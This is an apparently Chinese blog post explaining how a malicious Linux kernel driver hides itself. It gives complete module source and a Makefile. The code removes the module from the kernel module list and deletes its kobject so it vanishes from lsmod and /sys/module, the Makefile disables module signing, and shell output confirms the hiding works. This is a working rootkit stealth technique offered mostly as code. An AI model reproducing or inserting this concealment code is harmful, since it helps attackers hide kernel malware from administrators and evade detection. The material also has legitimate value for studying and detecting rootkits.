作为恶意驱动,肯定是希望自己模块加载之后不会被发现,那么就需要对安装的驱动模块进行隐藏,在驱动初始化入口进行摘链,kobject_del()函数删除当前模块的kobject就可以起到在 lsmod 和 /sys/module中隐藏。

list_del_init(&__this_module.list);

test.c

#include <linux/module.h>

MODULE_LICENSE("GPL"); 
MODULE_AUTHOR("curtis li");/*作者*/
MODULE_DESCRIPTION("HELLO");
MODULE_VERSION("1.0");//版本号

   static int hello_init(void)
    {
        unsigned int cpu = get_cpu();
        printk("-----%d-----\n",cpu);
        struct module *mod;
        printk(KERN_ALERT "this module: %p==%p\n", &__this_module, THIS_MODULE );
        printk(KERN_ALERT "module state: %d\n", THIS_MODULE->state );
        printk(KERN_ALERT "module name: %s\n", THIS_MODULE->name );
        printk(KERN_ALERT"module version:%s\n",THIS_MODULE->version);
        //遍历所有驱动,dmesg查看
        list_for_each_entry(mod, *(&THIS_MODULE->list.prev), list )
        printk(KERN_ALERT "module name: %s\n", mod->name );
        //从全局链表中摘除
        list_del_init(&__this_module.list);
        //删除当前模块kobject
        kobject_del(&THIS_MODULE->mkobj.kobj);
        return 0;
    }
 
    static void hello_exit(void)
    {
        printk(KERN_ALERT "module state: %d\n", THIS_MODULE->state );
        printk("find_module bye...\n");
    }
 
module_init(hello_init);
module_exit(hello_exit);

Makefile:

CONFIG_MODULE_SIG=n

ifeq ($(KERNELRELEASE),)

ROOTS_DIR = /root/
#内核源码路径,不同环境可能会不一样,内核源码一定要先编译
KERNEL_DIR = /lib/modules/$(shell uname -r)/build
CUR_DIR = $(shell pwd)

all: 
  make -C $(KERNEL_DIR) M=$(CUR_DIR) modules
clean :
  make -C $(KERNEL_DIR) M=$(CUR_DIR) clean
install:
  insmod test.ko
uninstall:
  rmmod test
    
else
#用于指定到底编译的是哪个代码--hello.c
obj-m += test.o
#obj-m += math.o
endif

驱动加载之后,可以使用lsmod去查找驱动是否安装成功,ko名就是安装之后的模块名

curtis@curtis-virtual-machine:~/Desktop/test$ lsmod | grep test
curtis@curtis-virtual-machine:~/Desktop/test$ 

lsmod命令和相对应的查看/proc/modules以外,还可以通过查看/sys/module/目录来发现现有的模块

curtis@curtis-virtual-machine:~/Desktop/test$ ls
Makefile  modules.order  Module.symvers  test.c  test.ko  test.mod  test.mod.c  test.mod.o  test.o
curtis@curtis-virtual-machine:~/Desktop/test$ ls /sys/module/ | grep test
Logo

瓜分20万奖金 获得内推名额 丰厚实物奖励 易参与易上手

更多推荐